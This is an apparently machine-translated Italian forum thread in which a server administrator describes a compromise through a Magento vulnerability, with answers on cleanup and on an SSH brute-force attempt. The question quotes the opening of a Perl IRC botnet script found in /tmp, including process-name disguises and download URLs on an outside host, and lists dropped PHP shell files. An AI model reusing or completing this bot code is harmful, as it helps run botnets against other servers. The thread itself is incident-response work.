Server compromesso con la vulnerabilità di magento, possibile rootkit

2

Sto riscontrando un problema di sicurezza con un server che succede che io gestisco. Cercherò di citare tutti i fatti rilevanti il più brevemente possibile. Chiedo informazioni aggiuntive e azioni da intraprendere.

Il server ospita diversi siti Web a basso volume e altri servizi minori. La maggior parte dei siti sono Drupal o Joomla e sembrano essere aggiornati per quanto ne so. Recentemente un sito Magento è stato aggiunto solo temporaneamente, di cui tornerò più tardi.

Tutto è iniziato con l'osservazione del carico medio elevato, l'utilizzo della CPU sul server. Presto questo è stato collegato a tempi di risposta elevati.

L'esecuzione di un netstat ha rivelato un numero insolito e relativamente elevato di connessioni da un IP specifico di un ISP australiano. La maggior parte di queste connessioni era correlata con i processi di apache e molti altri rimanevano in stato SYN senza relativi pid.

All'inizio pensavo che questa fosse una sorta di alluvione ad Apache, quindi ho deciso di vietare l'IP dal file conf di Apache (Nega da) e di uccidere tutti i processi rilevanti, che sembravano funzionare per un po '.

Molto presto mi sono reso conto di aver avuto lo stesso identico problema da un altro IP di un ISP olandese. Ho installato rapidamente mod_evasive e ho anche bandito l'IP. Questo sembrava rilassare un po 'il problema (CPU fino all'80%).

Presto ho ricevuto una email dal fornitore del server che il server è stato abusato e mi ha spinto ad esaminare i siti per il codice dannoso. Immediatamente ho fatto quanto segue (finora, questo è in corso):

  • ps faux , netstat non ha rivelato nulla di sospetto
  • chkrootkit , rkhunter , lo stesso
  • ha esaminato i file di log di apache verificando gli IP conosciuti e questo mi ha rivelato diversi tentativi di sfruttare le vulnerabilità sul sito di Magento.
  • abbiamo sospeso il web hsoting per quell'account, rimosso i file.
  • un'ulteriore indagine su tutte le directory su cui Apache ha scritto i permessi ha rivelato che c'erano alcuni file sospetti.
  • l'utilizzo della cpu è sceso allo 0-10%.

I file sospetti sono, ben sospettosi. C'era un particolare file / tmp/ask che assomigliava a:

#!/usr/bin/perl
#
###############################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
#                                                               
#                                 
###############################################


use IO::Socket::INET;
#use HTTP::Request;
#use LWP::UserAgent;
##################################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]"); 
$processo = $ps[rand scalar @ps]; 
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.utama-audio.com/ipays/allnet/id.txt?";
my $spread="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my $spreads="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my @adms=("AR_GA");
my @canais="#botnet";
# etc etc

C'era un'altra directory chiamata /tmp/.X11-unix che ovviamente è irregolare in quanto non c'è x sul server. Nella cartella dir i seguenti file:

tmp/.X11-unix/
tmp/.X11-unix/dorks.txt
tmp/.X11-unix/ipays2.php
tmp/.X11-unix/malink.php
tmp/.X11-unix/act.zip
tmp/.X11-unix/inc.zip
tmp/.X11-unix/ipays.phtml
tmp/.X11-unix/ipays.php
tmp/.X11-unix/ipays3.php
tmp/.X11-unix/ext.zip
tmp/.X11-unix/ipays.gif

Dopo tutto ciò, altre indagini con netstat, ps, file eseguibili, manomissioni, debsum, chkrootkit e rkhunter sono tutte negative.

A parte questa osservazione molto strana (i dettagli legit sostituiti con xxx):

wtower@xxx~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:49460      ESTABLISHED 3382/sshd: root [pr
tcp        0     48 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0    848 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: [accepte
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: root [pr
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       

Si può notare che una connessione ssh come root da 43.229.52.15 (Giappone) cambia costantemente i pids, come root. w non mostra nulla. Sono così buffo e compromesso.

Forse tutto quanto sopra non è collegato, ma non ne ho avuto la minima idea. Qualsiasi aiuto è molto apprezzato.

    
posta Wtower 19.06.2015 - 18:03
fonte

2 risposte

2

Grazie per tutto il supporto. Queste sono state le mie scoperte dopo un'indagine approfondita:

La proprietà per entrambi gli script trovati in /tmp è stata l'utente di Apache. La directory /tmp è scrivibile da Apache. Ho confrontato la data di creazione con qualsiasi registro pertinente e ho trovato nei registri di Apache come sono entrati nel sistema. Si scopre che hanno sfruttato la vulnerabilità magento magmi tre volte.

A parte gli script, la terza volta era stata l'aggiunta di alcune pagine che erano state utilizzate per tentativi di phishing, ed è da qui che proviene il maggior volume.

Non ho trovato alcun segno di ulteriore esposizione dei conti. Le autorizzazioni sono piuttosto rigide e non c'è altro modo per quanto posso dire che Apache sarebbe in grado di scrivere altrove. Non appena ho rimosso il sito web, tutto è tornato alla normalità.

Riguardo al problema di netstat , questo è stato un problema completamente diverso. È stato un mio errore non aver esaminato auth.log meglio in primo luogo. È risultato che PasswordAuthentication è stato lasciato probabilmente da qualche altra operazione, e questo ha provocato un attacco di forza bruta su root. Il re-spawning ripetuto era semplicemente una connessione stabilita per provare una password, ma senza una sessione stabilita . Il rischio è stato mitigato dal fatto che PermitRootLogin era disattivato e l'account di root è bloccato.

Questi sono i collegamenti da due thread rilevanti nei forum di Ubuntu: sugli script e < a href="http://ubuntuforums.org/showthread.php?t=2283466&p=13308060"> sull'attività ssh .

    
risposta data 26.06.2015 - 09:57
fonte
2

La linea d'azione consiste nel pulire la macchina e installare tutto dall'immagine memorizzata o da zero. È troppo difficile essere sicuri che li hai puliti. Soprattutto una volta che l'aggressore ha ottenuto l'accesso come root.

    
risposta data 19.06.2015 - 19:50
fonte

Leggi altre domande sui tag